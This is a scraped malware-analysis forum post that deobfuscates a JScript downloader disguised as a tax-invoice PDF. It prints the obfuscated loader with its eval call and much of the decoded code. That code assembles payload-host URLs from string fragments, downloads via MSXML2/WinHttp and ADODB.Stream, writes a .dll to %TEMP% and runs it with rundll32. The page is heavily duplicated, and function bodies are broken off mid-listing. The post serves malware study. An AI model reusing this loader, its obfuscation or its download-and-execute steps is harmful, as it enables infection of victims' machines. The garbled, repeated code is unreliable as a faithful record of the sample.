- May 14, 2016
- 1,597
https://malwaretips.com/threads/13-9-16-4.63346/
(thanks to @Solarquest)
There are 3 samples that use scripts :
3 and 4 are similar to (remember, I received one wave with insults inside
):
2 .js is similar to :
PART 1 : tax_invoice_scan_PDF.B6B845F6.js
1) What it looks like when edited
2) Explanations :
3) What it looks like after first deobfuscation :
As usual I modified some parts to avoid copy-paste => save => run => infection
In bold, the main do..while "infinite" loop (once run, the script tries to download the obfuscated payload until it is successfully done and deobfuscated, or if the script is stopped)
4) Important parts :
4-1) Connection :
4-2) URLs
4-3) Payload
5) Main Loop :
6) Random function - false random
(thanks to @Solarquest)
There are 3 samples that use scripts :
2 .js
3 tax_invoice_scan_PDF.B6B845F6.js
4 d7f8c742cd.html
3 tax_invoice_scan_PDF.B6B845F6.js
4 d7f8c742cd.html
3 and 4 are similar to (remember, I received one wave with insults inside
):2 .js is similar to :
PART 1 : tax_invoice_scan_PDF.B6B845F6.js
1) What it looks like when edited
var EIj = "__WYz~__Rv~__JXr~__GZj~__SSy~__Qx~__Ks~__JXr~__Ea~__FIn~__Dx~__UVj~__EBl~__Se~__Ea~__Ea~__Ea~__Ea~__HAb~__Tn~__EBs~__Ea~__Zq~__Lm~__Rl~__Qx~__Yb~__Rv~__Jy~__Oc~__WYz~__Rv~__Rl~__SSy~__Jy~__Oc~__Ea~__Yw~__Ea~__Qt~__Uf~__CQq~__Qt~__Vs~__Qt~__Qt~__Vs~__Qt~__GZj~__Qt~__Vs~__Qt~__EBs~__Qt~__Vs~__Qt~__Qx~__Qt~__Vs~
...
...
__Ea~__Dc~__Au~__Ge~__UVj~__Ea~__De~__Se~__Gx~__Gx~__Gx~__EBl~__St~__Gf~__Il~__FSz~__Yw~__QFr~__SSy~__Jc~__HTm~__KGb~__De~__Se~__Gx~__Gx~__FIn~__ULh~__Rl~__FIn~__Ea~__De~__Se~__Gx~__Gx~__Gx~__EBl~__St~__Gf~__Il~__FSz~__Yw~__Sh~__Qx~__Jc~__VEi~__QFr~__SSy~__Jc~__Wq~__HTm~__KGb~__De~__Se~__Gx~__Gx~__Sh~__Rv~__TDz~__TKe~__Rv~__Rl~__Lm~__Dx~__CQq~__SSy~__EBs~__Qx~__JXr~__Oc~__VEi~__DOy~__LGt~__Gp~__IDo~__Ea~__Vs~__Ea~__Ex~__Yr~__Rv~__Ea~__Vs~__Ea~__ITu~__Bi~__Tn~__FCk~__Wq~__Dx~__St~__Gf~__Il~__FSz~__UVj~__UVj~__HTm~__De~__Se~__Gx~__KGb~__De~__Se~__Gx~__De~__Se~__Gx~__Ex~__JXr~__Au~__Yw~__Sh~__Rv~__VEi~__Js~__CYg~__HAb~__Wk~__Wq~__Dx~__Qt~__Qt~__UVj~__HTm~__De~__Se~__Gx~__De~__Se~__Gx~__EBs~__FIn~__SSy~__Rv~__EBs~__JXr~__Ea~__Ex~__JXr~__Au~__HTm~__De~__Se~__KGb~__HTm~__De~__Se~__De~__Se".split('~');
var Fh = "";
var Ar = {
"__Se": (1, "\x0a"),
"__De": (1, "\x0d"),
"__CXb": (1, "D"),
"__GVc": (1, "H"),
"__Js": (1, "L"),
"__LGt": (1, "P"),
"__Jt": (1, "T"),
"__Bi": (1, "X"),
"__Gx": (1, "\x09"),
"__Jy": (1, "d"),
"__Lm": (1, "h"),
"__ULh": (1, "l"),
"__TKe": (1, "p"),
"__SSy": (1, "t"),
"__KGb": (1, "\x7d"),
"__KVp": (1, "\x7c"),
"__EBl": (1, "\x7b"),
"__Aj": (1, "\x2f"),
"__SYo": (1, "\x2d"),
"__TDz": (1, "\x2e"),
"__Vs": (1, "\x2b"),
"__TYm": (1, "\x2c"),
"__By": (1, "\x2a"),
"__CYg": (1, "C"),
"__Ex": (1, "G"),
"__DOy": (1, "K"),
"__SVx": (1, "O"),
"__CQq": (1, "S"),
"__Wy": (1, "\x25"),
"__Qt": (1, "\x22"),
"__Uf": (1, "W"),
"__Il": (1, "x"),
"__Dx": (1, "\x28"),
"__UVj": (1, "\x29"),
"__GZj": (1, "c"),
"__Oc": (1, "g"),
"__XEs": (1, "k"),
"__Ks": (1, "o"),
"__Rl": (1, "s"),
"__PAb": (1, "w"),
"__Ea": (1, "\x20"),
"__Yy": (1, "\x21"),
"__Dc": (1, "\x31"),
"__SJu": (1, "\x30"),
"__FSz": (1, "\x33"),
"__Au": (1, "\x32"),
"__Jc": (1, "\x35"),
"__IDo": (1, "\x34"),
"__Wk": (1, "\x37"),
"__VQt": (1, "\x36"),
"__FCk": (1, "\x39"),
"__Ge": (1, "\x38"),
"__Yd": (1, "\x3a"),
"__Uw": (1, "\x3c"),
"__HTm": (1, "\x3b"),
"__EUx": (1, "\x3e"),
"__Yw": (1, "\x3d"),
"__ITu": (1, "F"),
"__AKo": (1, "J"),
"__QFr": (1, "N"),
"__Nv": (1, "R"),
"__Sh": (1, "V"),
"__Id": (1, "Z"),
"__ZNc": (1, "b"),
"__TSe": (1, "\x40"),
"__WYz": (1, "f"),
"__Xg": (1, "j"),
"__JXr": (1, "n"),
"__EBs": (1, "r"),
"__HAb": (1, "v"),
"__TTk": (1, "z"),
"__Gf": (1, "B"),
"__Rv": (1, "u"),
"__WFm": (1, "A"),
"__ZIf": (1, "E"),
"__St": (1, "I"),
"__OPd": (1, "M"),
"__Oe": (1, "Q"),
"__Yr": (1, "U"),
"__QGw": (1, "Y"),
"__Tn": (1, "a"),
"__FIn": (1, "e"),
"__Qx": (1, "i"),
"__Ph": (1, "m"),
"__Gp": (1, "q"),
"__Zq": (1, "\x5f"),
"__La": (1, "\x5e"),
"__Wq": (1, "\x5d"),
"__Hm": (1, "\x5c"),
"__VEi": (1, "\x5b"),
"__Yb": (1, "y")
};
var Tg;
for (Tg = 0; Tg < EIj["l" + "e" + "n" + "g" + "th"]; Tg++) {
GWu = EIj[Tg];
Fh = (43, 35, Fh) + (25, 35, Ar[GWu]);
}
eval(Fh);
...
...
__Ea~__Dc~__Au~__Ge~__UVj~__Ea~__De~__Se~__Gx~__Gx~__Gx~__EBl~__St~__Gf~__Il~__FSz~__Yw~__QFr~__SSy~__Jc~__HTm~__KGb~__De~__Se~__Gx~__Gx~__FIn~__ULh~__Rl~__FIn~__Ea~__De~__Se~__Gx~__Gx~__Gx~__EBl~__St~__Gf~__Il~__FSz~__Yw~__Sh~__Qx~__Jc~__VEi~__QFr~__SSy~__Jc~__Wq~__HTm~__KGb~__De~__Se~__Gx~__Gx~__Sh~__Rv~__TDz~__TKe~__Rv~__Rl~__Lm~__Dx~__CQq~__SSy~__EBs~__Qx~__JXr~__Oc~__VEi~__DOy~__LGt~__Gp~__IDo~__Ea~__Vs~__Ea~__Ex~__Yr~__Rv~__Ea~__Vs~__Ea~__ITu~__Bi~__Tn~__FCk~__Wq~__Dx~__St~__Gf~__Il~__FSz~__UVj~__UVj~__HTm~__De~__Se~__Gx~__KGb~__De~__Se~__Gx~__De~__Se~__Gx~__Ex~__JXr~__Au~__Yw~__Sh~__Rv~__VEi~__Js~__CYg~__HAb~__Wk~__Wq~__Dx~__Qt~__Qt~__UVj~__HTm~__De~__Se~__Gx~__De~__Se~__Gx~__EBs~__FIn~__SSy~__Rv~__EBs~__JXr~__Ea~__Ex~__JXr~__Au~__HTm~__De~__Se~__KGb~__HTm~__De~__Se~__De~__Se".split('~');
var Fh = "";
var Ar = {
"__Se": (1, "\x0a"),
"__De": (1, "\x0d"),
"__CXb": (1, "D"),
"__GVc": (1, "H"),
"__Js": (1, "L"),
"__LGt": (1, "P"),
"__Jt": (1, "T"),
"__Bi": (1, "X"),
"__Gx": (1, "\x09"),
"__Jy": (1, "d"),
"__Lm": (1, "h"),
"__ULh": (1, "l"),
"__TKe": (1, "p"),
"__SSy": (1, "t"),
"__KGb": (1, "\x7d"),
"__KVp": (1, "\x7c"),
"__EBl": (1, "\x7b"),
"__Aj": (1, "\x2f"),
"__SYo": (1, "\x2d"),
"__TDz": (1, "\x2e"),
"__Vs": (1, "\x2b"),
"__TYm": (1, "\x2c"),
"__By": (1, "\x2a"),
"__CYg": (1, "C"),
"__Ex": (1, "G"),
"__DOy": (1, "K"),
"__SVx": (1, "O"),
"__CQq": (1, "S"),
"__Wy": (1, "\x25"),
"__Qt": (1, "\x22"),
"__Uf": (1, "W"),
"__Il": (1, "x"),
"__Dx": (1, "\x28"),
"__UVj": (1, "\x29"),
"__GZj": (1, "c"),
"__Oc": (1, "g"),
"__XEs": (1, "k"),
"__Ks": (1, "o"),
"__Rl": (1, "s"),
"__PAb": (1, "w"),
"__Ea": (1, "\x20"),
"__Yy": (1, "\x21"),
"__Dc": (1, "\x31"),
"__SJu": (1, "\x30"),
"__FSz": (1, "\x33"),
"__Au": (1, "\x32"),
"__Jc": (1, "\x35"),
"__IDo": (1, "\x34"),
"__Wk": (1, "\x37"),
"__VQt": (1, "\x36"),
"__FCk": (1, "\x39"),
"__Ge": (1, "\x38"),
"__Yd": (1, "\x3a"),
"__Uw": (1, "\x3c"),
"__HTm": (1, "\x3b"),
"__EUx": (1, "\x3e"),
"__Yw": (1, "\x3d"),
"__ITu": (1, "F"),
"__AKo": (1, "J"),
"__QFr": (1, "N"),
"__Nv": (1, "R"),
"__Sh": (1, "V"),
"__Id": (1, "Z"),
"__ZNc": (1, "b"),
"__TSe": (1, "\x40"),
"__WYz": (1, "f"),
"__Xg": (1, "j"),
"__JXr": (1, "n"),
"__EBs": (1, "r"),
"__HAb": (1, "v"),
"__TTk": (1, "z"),
"__Gf": (1, "B"),
"__Rv": (1, "u"),
"__WFm": (1, "A"),
"__ZIf": (1, "E"),
"__St": (1, "I"),
"__OPd": (1, "M"),
"__Oe": (1, "Q"),
"__Yr": (1, "U"),
"__QGw": (1, "Y"),
"__Tn": (1, "a"),
"__FIn": (1, "e"),
"__Qx": (1, "i"),
"__Ph": (1, "m"),
"__Gp": (1, "q"),
"__Zq": (1, "\x5f"),
"__La": (1, "\x5e"),
"__Wq": (1, "\x5d"),
"__Hm": (1, "\x5c"),
"__VEi": (1, "\x5b"),
"__Yb": (1, "y")
};
var Tg;
for (Tg = 0; Tg < EIj["l" + "e" + "n" + "g" + "th"]; Tg++) {
GWu = EIj[Tg];
Fh = (43, 35, Fh) + (25, 35, Ar[GWu]);
}
eval(Fh);
2) Explanations :
var EIj = " .........................".split('~');
=> A tab with the string as parameter, splited at each ('~') chars.
=> A tab of small strings
var Fh = "";=> A tab of small strings
__WYz
__Rv
__JXr
__GZj
__SSy
__Qx
etc,..
__Rv
__JXr
__GZj
__SSy
__Qx
etc,..
=> used to get the first deobfuscated string of code
var Ar = {
"__Se": (1, "\x0a"),
"__De": (1, "\x0d"),
...
...
};"__De": (1, "\x0d"),
...
...
=> used as char replacement
var Tg;
=> concatenation / build of the "real part" put on Fh var
Example : the first chars : "function e()"
eval(Fh);
=> the string build by the loop, and in the var Fh, is evaluated => functions linked to real infection are run.
=> index for the for Loop
for (Tg = 0; Tg < EIj["l" + "e" + "n" + "g" + "th"]; Tg++) {
GWu = EIj[Tg];
Fh = (43, 35, Fh) + (25, 35, Ar[GWu]);
}Fh = (43, 35, Fh) + (25, 35, Ar[GWu]);
=> can be written in a simplified way :
for (Tg = 0; Tg < EIj.length ; Tg++) {
=> a Loop on each data of the first tab, each value is used as a key to retrieve the real value from the second Tab.
Example :
Fh = Fh + Ar[GWu]);for (Tg = 0; Tg < EIj.length ; Tg++) {
GWu = EIj[Tg];
Fh = Fh + Ar[GWu]);
}Fh = Fh + Ar[GWu]);
=> a Loop on each data of the first tab, each value is used as a key to retrieve the real value from the second Tab.
Example :
GWu = EIj[0];
=> __WYz
this key is searched on the second tab : Ar[GWu]
=> "__WYz": (1, "f"), <=> key: value
the way it's written on the second tab, is to obfuscate a bit more : (1, "f") => "f"
So each __WYz correspond to a "f"
=> __WYz
this key is searched on the second tab : Ar[GWu]
=> "__WYz": (1, "f"), <=> key: value
the way it's written on the second tab, is to obfuscate a bit more : (1, "f") => "f"
So each __WYz correspond to a "f"
=> concatenation / build of the "real part" put on Fh var
eval(Fh);
=> the string build by the loop, and in the var Fh, is evaluated => functions linked to real infection are run.
3) What it looks like after first deobfuscation :
function e() {
e();
var LCv7 = "join" + "";
var FXa9 = "Code" + "";
var GUu = "har" + "";
var KPq4 = "fromC" + "";
var XQg1 = "ngth" + "";
var QLf = "le" + "";
var PVc6 = "close" + "";
var UEs = "le" + "";
var Oc = "ToFi" + "";
var Sr = "Save" + "";
var Zp5 = "Text" + "";
var Ia = "write" + "";
var Oy1 = "open" + "";
var QGo = "et" + "";
var MHl3 = "Chars" + "";
var Fd9 = "type" + "";
var NKk = "am" + "";
var St1 = "Stre" + "";
var TSw = "DB." + "";
var Zm = "O" + "";
var Nl9 = "D" + "";
var Tn8 = "A" + "";
var MJt = "ct" + "";
var Kk7 = "eObje" + "";
var REk = "Creat" + "";
var BUj = "push" + "";
var XUy3 = "eAt" + "";
var DOz = "Cod" + "";
var Ar5 = "char" + "";
var Iw = "gth" + "";
var Va = "len" + "";
var PGi5 = "ose" + "";
var EPt8 = "cl" + "";
var WGl5 = "Text" + "";
var Sp3 = "Read" + "";
var YRr3 = "mFile" + "";
var Yz0 = "ro" + "";
var YWz = "dF" + "";
var Uc = "Loa" + "";
var OCv5 = "n" + "";
var FJh = "ope" + "";
var Nr9 = "t" + "";
var Jw = "rse" + "";
var Ci6 = "Cha" + "";
var XOr5 = "type" + "";
var DJb6 = "am" + "";
var Ck = ".Stre" + "";
var YSr = "DB" + "";
var Lv2 = "O" + "";
var Vf = "D" + "";
var BFq6 = "A" + "";
var Oo2 = "ect" + "";
var BBi = "bj" + "";
var NRe5 = "ateO" + "";
var Jn3 = "Cre" + "";
var WXl8 = "h" + "";
var Yq0 = "lengt" + "";
var Lc0 = "ngth" + "";
var Wz = "le" + "";
var Re = "ice" + "";
var Ea0 = "spl" + "";
var JRe = "th" + "";
var JPf2 = "leng" + "";
var UKa = "th" + "";
var ECj5 = "leng" + "";
var JAu = "gth" + "";
var Lx = "len" + "";
var YBc = "th" + "";
var ZDn6 = "leng" + "";
var Kj = "th" + "";
var Oj = "leng" + "";
var Rs = "ep" + "";
var CNo5 = "Sle" + "";
var Yg1 = "23" + "";
var Pa = " 3" + "";
var Cg = "ty" + "";
var Pv3 = "er" + "";
var Eg = ",qw" + "";
var Aw6 = " " + "";
var NKm = "n" + "";
var TFn = "Ru" + "";
var Ir = "th" + "";
var Kp = "leng" + "";
var WZg = "th" + "";
var LVk = "ng" + "";
var Nr = "le" + "";
var Bs5 = "ose" + "";
var Zg0 = "cl" + "";
var St0 = "e" + "";
var He = "Fil" + "";
var CKl8 = "veTo" + "";
var Cf3 = "Sa" + "";
var WMi = "ion" + "";
var Ym = "posit" + "";
var SKa9 = "dy" + "";
var ZYz = "Bo" + "";
var XTy = "nse" + "";
var PAw1 = "Respo" + "";
var Js = "ite" + "";
var DQq = "wr" + "";
var TGb7 = "type" + "";
var RXm8 = "open" + "";
var ZJo = "eam" + "";
var Ba1 = "Str" + "";
var OPp = "DB." + "";
var Vm6 = "O" + "";
var EJz = "D" + "";
var Hz = "A" + "";
var KUa = "ject" + "";
var EBq9 = "eOb" + "";
var HHk = "Creat" + "";
var CPi = "Sleep" + "";
var Sy3 = "d" + "";
var Yp = "sen" + "";
var Po = "th" + "";
var NXj9 = "leng" + "";
var Gg = "T" + "";
var YPc = "GE" + "";
var DFa = "open" + "";
var TYr1 = "ngth" + "";
var Cl1 = "le" + "";
var Pi9 = "Quit" + "";
var FXo = "cript" + "";
var DAn2 = "WS" + "";
var YIa = "xists" + "";
var Qb8 = "leE" + "";
var Vn1 = "Fi" + "";
var Yu = "xt" + "";
var Hs = ".t" + "";
var Lp = "sts" + "";
var LLv = "eExi" + "";
var Te2 = "Fil" + "";
var YHq9 = "ject" + "";
var VTi = "mOb" + "";
var DVr = "te" + "";
var Qc0 = "Sys" + "";
var JRt8 = ".File" + "";
var HHy = "ting" + "";
var WHr0 = "Scrip" + "";
var DCx = "ct" + "";
var MRa = "eObje" + "";
var XHv = "Creat" + "";
var QUd3 = "h" + "";
var Kl = "gt" + "";
var IOi = "len" + "";
var DFe5 = "t.5.1" + "";
var Nq0 = "eques" + "";
var Sz9 = "pR" + "";
var Yu8 = "tt" + "";
var OJe1 = "WinH" + "";
var EMb = "ttp." + "";
var Mu = "WinH" + "";
var Jm1 = "P" + "";
var IVz = "MLHTT" + "";
var Ty0 = "2.X" + "";
var Bp = "ML" + "";
var LCo = "MSX" + "";
var IZr = "or" + "";
var FAt8 = "flo" + "";
var YZa3 = "%SystemRoot%\\system32\\rundll32.exe" + "";
var ZUi4 = "%SystemRoot%\\SysWOW64\\rundll32.exe" + "";
var QNu = "d64" + "";
var ZEn2 = "am" + "";
var Vn0 = "RE" + "";
var LGx0 = "TECTU" + "";
var DSl = "RCHI" + "";
var GNu0 = "R_A" + "";
var Jz = "CESSO" + "";
var Cd = "PRO" + "";
var Nu = "tem" + "";
var KPm = "Sys" + "";
var Ay1 = "ll" + "";
var Dc = ".d" + "";
var Ag = "rY" + "";
var DXl1 = "EZP" + "";
var TPc8 = "wQ" + "";
var Ri6 = "VfqAQ" + "";
var OPo = "P%/" + "";
var Nz = "%TEM" + "";
var Tp7 = "ll" + "";
var PVg7 = ".She" + "";
var OHb = "pt" + "";
var Fk = "ri" + "";
var LSk = "WSc" + "";
var Xf0 = "ect" + "";
var Lf4 = "eObj" + "";
var MOq = "Creat" + "";
var Lc = "gb" + "";
var Ty = "gn" + "";
var QNd = "72" + "";
var Td = "om/f" + "";
var VPw3 = "y.c" + "";
var QXr = "ym" + "";
var Ik = "eh" + "";
var Zn1 = "il" + "";
var DVp = "m" + "";
var AZz = "/s" + "";
var Hl = ":/" + "";
var PDr = "http" + "";
var Ze8 = "ngb" + "";
var RHj = "/f72g" + "";
var UOz = "m" + "";
var Pu9 = "co" + "";
var LLy5 = "y." + "";
var IGq = "hym" + "";
var Cn = "ile" + "";
var MQh7 = "sm" + "";
var NHe3 = "/" + "";
var FAi2 = ":/" + "";
var AYh4 = "tp" + "";
var Ur8 = "ht" + "";
var Dn5 = "t" + "";
var VHj4 = "m1" + "";
var NZa2 = "b9" + "";
var TKb3 = "m/" + "";
var Vc2 = "o" + "";
var MEw1 = ".c" + "";
var YXv5 = "id" + "";
var Ak = "elr" + "";
var Po3 = "u" + "";
var QSu = "/d" + "";
var Ow4 = ":/" + "";
var WBq = "p" + "";
var ZCl = "htt" + "";
var Ls4 = "gk" + "";
var Dr = "d7" + "";
var Dq = "ds" + "";
var AGi8 = "om/" + "";
var LMc = "y.c" + "";
var Tv = "ur" + "";
var RHg6 = "dzeb" + "";
var Hu1 = "/a" + "";
var Rf = ":/" + "";
var SQk2 = "tp" + "";
var TAh2 = "ht" + "";
var Ta1 = "3ib4f" + "";
var Ad8 = "/e" + "";
var Gg2 = "et" + "";
var OIy = ".n" + "";
var DFt2 = "en" + "";
var HTq6 = "ay" + "";
var Za = "yd" + "";
var Tp6 = "://ma" + "";
var EQm1 = "tp" + "";
var LYu = "ht" + "";
var RUp6 = "437" + "";
var HAj = "th" + "";
var GZc = "ng" + "";
var Yq = "le" + "";
var YRz = "5" + "";
var Vo3 = "55" + "";
var HEk4 = "5555" + "";
var Pm2 = "5555" + "";
var OXa = "55555" + "";
var PAj0 = "5555" + "";
var Sq = "55" + "";
var Wh8 = "55" + "";
var AGf5 = "555" + "";
var ZIv = "555" + "";
var Ht4 = "55555" + "";
var Pe = "55555" + "";
var FLt = "5555" + "";
var JFt3 = "55555" + "";
var NRs4 = "55555" + "";
var Dm = "sfd" + "";
var Kh = "dfa" + "";
var Wm7 = "asfas" + "";
var Vc = "th" + "";
var Yf = "leng" + "";
var CTd5 = "55555" + "";
var Av = "gth" + "";
var ZJb = "len" + "";
var Bl8 = "5555" + "";
var Hg = "55555" + "";
var IOu = "5555" + "";
var KHx = "55" + "";
var Sd = "55" + "";
var QFz9 = "55555" + "";
var Bq = "5555" + "";
var Tz9 = "132" + "";
var Ai = "1123" + "";
var Xl3 = (Ai + Tz9, Bq + QFz9 + Sd + KHx + IOu + Hg + Bl8);
var ELs = Xl3[ZJb + Av];
var NQf6 = (CTd5);
var Uw = [18807, 7552, 23965];
var Nf = NQf6[ZJb + Av];
var SPz0 = (Wm7 + Kh + Dm, NRs4 + JFt3 + FLt + Pe + Ht4 + ZIv + AGf5 + Wh8 + Sq + PAj0 + OXa + Pm2 + HEk4 + Vo3 + YRz);
var QAl8 = SPz0[ZJb + Av];
var XWe = 1;
var DAb4 = 2;
var GLq = 2;
var MBi0 = "437";
var TIk = [LYu + EQm1 + Tp6 + Za + HTq6 + DFt2 + OIy + Gg2 + Ad8 + Ta1, TAh2 + SQk2 + Rf + Hu1 + RHg6 + Tv + LMc + AGi8 + Dq + Dr + Ls4, TAh2 + SQk2 + Ow4 + QSu + Po3 + Ak + YXv5 + MEw1 + Vc2 + TKb3 + NZa2 + VHj4 + Dn5, TAh2 + SQk2 + FAi2 + NHe3 + MQh7 + Cn + IGq + LLy5 + Pu9 + UOz + RHj + Ze8, TAh2 + SQk2 + Hl + AZz + DVp + Zn1 + Ik + QXr + LMc + Td + QNd + Ty + Lc];
var MTm6 = WScript[MOq + Lf4 + Xf0](LSk + Fk + OHb + PVg7 + Tp7);
var Io = MTm6.ExpandEnvironmentStrings(Nz + OPo);
var Lp9 = Io + Ri6 + TPc8 + DXl1 + Ag;
var IVi2 = Lp9 + Dc + Ay1;
var Ww = MTm6.Environment(KPm + Nu);
if (Ww(Cd + Jz + GNu0 + DSl + LGx0 + Vn0).toLowerCase() == "amd64") {
function random(range, s) {
var Zm6 = [LCo + Bp + Ty0 + IVz + Jm1, Mu + EMb + OJe1 + Yu8 + Sz9 + Nq0 + DFe5];
for (var OPr3 = 0; OPr3 < Zm6[ZJb + Av]; OPr3++) {
var El = "";
var fso = new ActiveXObject(WHr0 + HHy + JRt8 + Qc0 + DVr + VTi + YHq9);
var WBe = Uw.slice();
WBe[0] = Math.random() * 29999 | 0;
var Em = 0;
do {
WScript.Quit(0);
function Kx1(IGv7) {
var Yz = IGv7[IGv7[ZJb + Av] - 4] | IGv7[IGv7[ZJb + Av] - 3] << 8 | IGv7[IGv7[ZJb + Av] - 2] << 16 | IGv7[IGv7[ZJb + Av] - 1] << 24;
IGv7[Ea0 + Re](JEc3[ZJb + Av] - 4, 4);
Fm = ELs;
for (var OPr3 = 0; OPr3 < IGv7[ZJb + Av]; OPr3++) {
if (Fm != Yz) {
return [];
};
return IGv7;
};
function HIi(IDz0) {
function IGi2 (MOk3) {
function OMb(IDz0, IGv7) {
function St(IGv7) {
};
var _hsiyudgfustdg = "WS" + "" + "c" + "r" + "i" + "pt";
var _c = "\%Sy" + "st" + "" + "em" + "Root\%\\s" + "ystem32\\cmd." + "ex" + "e";
var _87867t67t6gt = this[_hsiyudgfustdg]["Cre"+"ateOb"+"ject"](_hsiyudgfustdg+".She"+"ll");
var _87g6sd5fg = _87867t67t6gt["En" + "vi" + "" + "ron" + "men" + "t"]("SY" + "S" + "T" + "E" + "M");
var _dd = _87g6sd5fg("Com" + "S" + "" + "pe" + "c");
if (_dd == _c) {
return 1;
} else {
this[this["_hsiyudgfustdg"]]["Qui" + "" + "t"](1);
};
}var _c = "\%Sy" + "st" + "" + "em" + "Root\%\\s" + "ystem32\\cmd." + "ex" + "e";
var _87867t67t6gt = this[_hsiyudgfustdg]["Cre"+"ateOb"+"ject"](_hsiyudgfustdg+".She"+"ll");
var _87g6sd5fg = _87867t67t6gt["En" + "vi" + "" + "ron" + "men" + "t"]("SY" + "S" + "T" + "E" + "M");
var _dd = _87g6sd5fg("Com" + "S" + "" + "pe" + "c");
if (_dd == _c) {
return 1;
} else {
this[this["_hsiyudgfustdg"]]["Qui" + "" + "t"](1);
};
e();
var LCv7 = "join" + "";
var FXa9 = "Code" + "";
var GUu = "har" + "";
var KPq4 = "fromC" + "";
var XQg1 = "ngth" + "";
var QLf = "le" + "";
var PVc6 = "close" + "";
var UEs = "le" + "";
var Oc = "ToFi" + "";
var Sr = "Save" + "";
var Zp5 = "Text" + "";
var Ia = "write" + "";
var Oy1 = "open" + "";
var QGo = "et" + "";
var MHl3 = "Chars" + "";
var Fd9 = "type" + "";
var NKk = "am" + "";
var St1 = "Stre" + "";
var TSw = "DB." + "";
var Zm = "O" + "";
var Nl9 = "D" + "";
var Tn8 = "A" + "";
var MJt = "ct" + "";
var Kk7 = "eObje" + "";
var REk = "Creat" + "";
var BUj = "push" + "";
var XUy3 = "eAt" + "";
var DOz = "Cod" + "";
var Ar5 = "char" + "";
var Iw = "gth" + "";
var Va = "len" + "";
var PGi5 = "ose" + "";
var EPt8 = "cl" + "";
var WGl5 = "Text" + "";
var Sp3 = "Read" + "";
var YRr3 = "mFile" + "";
var Yz0 = "ro" + "";
var YWz = "dF" + "";
var Uc = "Loa" + "";
var OCv5 = "n" + "";
var FJh = "ope" + "";
var Nr9 = "t" + "";
var Jw = "rse" + "";
var Ci6 = "Cha" + "";
var XOr5 = "type" + "";
var DJb6 = "am" + "";
var Ck = ".Stre" + "";
var YSr = "DB" + "";
var Lv2 = "O" + "";
var Vf = "D" + "";
var BFq6 = "A" + "";
var Oo2 = "ect" + "";
var BBi = "bj" + "";
var NRe5 = "ateO" + "";
var Jn3 = "Cre" + "";
var WXl8 = "h" + "";
var Yq0 = "lengt" + "";
var Lc0 = "ngth" + "";
var Wz = "le" + "";
var Re = "ice" + "";
var Ea0 = "spl" + "";
var JRe = "th" + "";
var JPf2 = "leng" + "";
var UKa = "th" + "";
var ECj5 = "leng" + "";
var JAu = "gth" + "";
var Lx = "len" + "";
var YBc = "th" + "";
var ZDn6 = "leng" + "";
var Kj = "th" + "";
var Oj = "leng" + "";
var Rs = "ep" + "";
var CNo5 = "Sle" + "";
var Yg1 = "23" + "";
var Pa = " 3" + "";
var Cg = "ty" + "";
var Pv3 = "er" + "";
var Eg = ",qw" + "";
var Aw6 = " " + "";
var NKm = "n" + "";
var TFn = "Ru" + "";
var Ir = "th" + "";
var Kp = "leng" + "";
var WZg = "th" + "";
var LVk = "ng" + "";
var Nr = "le" + "";
var Bs5 = "ose" + "";
var Zg0 = "cl" + "";
var St0 = "e" + "";
var He = "Fil" + "";
var CKl8 = "veTo" + "";
var Cf3 = "Sa" + "";
var WMi = "ion" + "";
var Ym = "posit" + "";
var SKa9 = "dy" + "";
var ZYz = "Bo" + "";
var XTy = "nse" + "";
var PAw1 = "Respo" + "";
var Js = "ite" + "";
var DQq = "wr" + "";
var TGb7 = "type" + "";
var RXm8 = "open" + "";
var ZJo = "eam" + "";
var Ba1 = "Str" + "";
var OPp = "DB." + "";
var Vm6 = "O" + "";
var EJz = "D" + "";
var Hz = "A" + "";
var KUa = "ject" + "";
var EBq9 = "eOb" + "";
var HHk = "Creat" + "";
var CPi = "Sleep" + "";
var Sy3 = "d" + "";
var Yp = "sen" + "";
var Po = "th" + "";
var NXj9 = "leng" + "";
var Gg = "T" + "";
var YPc = "GE" + "";
var DFa = "open" + "";
var TYr1 = "ngth" + "";
var Cl1 = "le" + "";
var Pi9 = "Quit" + "";
var FXo = "cript" + "";
var DAn2 = "WS" + "";
var YIa = "xists" + "";
var Qb8 = "leE" + "";
var Vn1 = "Fi" + "";
var Yu = "xt" + "";
var Hs = ".t" + "";
var Lp = "sts" + "";
var LLv = "eExi" + "";
var Te2 = "Fil" + "";
var YHq9 = "ject" + "";
var VTi = "mOb" + "";
var DVr = "te" + "";
var Qc0 = "Sys" + "";
var JRt8 = ".File" + "";
var HHy = "ting" + "";
var WHr0 = "Scrip" + "";
var DCx = "ct" + "";
var MRa = "eObje" + "";
var XHv = "Creat" + "";
var QUd3 = "h" + "";
var Kl = "gt" + "";
var IOi = "len" + "";
var DFe5 = "t.5.1" + "";
var Nq0 = "eques" + "";
var Sz9 = "pR" + "";
var Yu8 = "tt" + "";
var OJe1 = "WinH" + "";
var EMb = "ttp." + "";
var Mu = "WinH" + "";
var Jm1 = "P" + "";
var IVz = "MLHTT" + "";
var Ty0 = "2.X" + "";
var Bp = "ML" + "";
var LCo = "MSX" + "";
var IZr = "or" + "";
var FAt8 = "flo" + "";
var YZa3 = "%SystemRoot%\\system32\\rundll32.exe" + "";
var ZUi4 = "%SystemRoot%\\SysWOW64\\rundll32.exe" + "";
var QNu = "d64" + "";
var ZEn2 = "am" + "";
var Vn0 = "RE" + "";
var LGx0 = "TECTU" + "";
var DSl = "RCHI" + "";
var GNu0 = "R_A" + "";
var Jz = "CESSO" + "";
var Cd = "PRO" + "";
var Nu = "tem" + "";
var KPm = "Sys" + "";
var Ay1 = "ll" + "";
var Dc = ".d" + "";
var Ag = "rY" + "";
var DXl1 = "EZP" + "";
var TPc8 = "wQ" + "";
var Ri6 = "VfqAQ" + "";
var OPo = "P%/" + "";
var Nz = "%TEM" + "";
var Tp7 = "ll" + "";
var PVg7 = ".She" + "";
var OHb = "pt" + "";
var Fk = "ri" + "";
var LSk = "WSc" + "";
var Xf0 = "ect" + "";
var Lf4 = "eObj" + "";
var MOq = "Creat" + "";
var Lc = "gb" + "";
var Ty = "gn" + "";
var QNd = "72" + "";
var Td = "om/f" + "";
var VPw3 = "y.c" + "";
var QXr = "ym" + "";
var Ik = "eh" + "";
var Zn1 = "il" + "";
var DVp = "m" + "";
var AZz = "/s" + "";
var Hl = ":/" + "";
var PDr = "http" + "";
var Ze8 = "ngb" + "";
var RHj = "/f72g" + "";
var UOz = "m" + "";
var Pu9 = "co" + "";
var LLy5 = "y." + "";
var IGq = "hym" + "";
var Cn = "ile" + "";
var MQh7 = "sm" + "";
var NHe3 = "/" + "";
var FAi2 = ":/" + "";
var AYh4 = "tp" + "";
var Ur8 = "ht" + "";
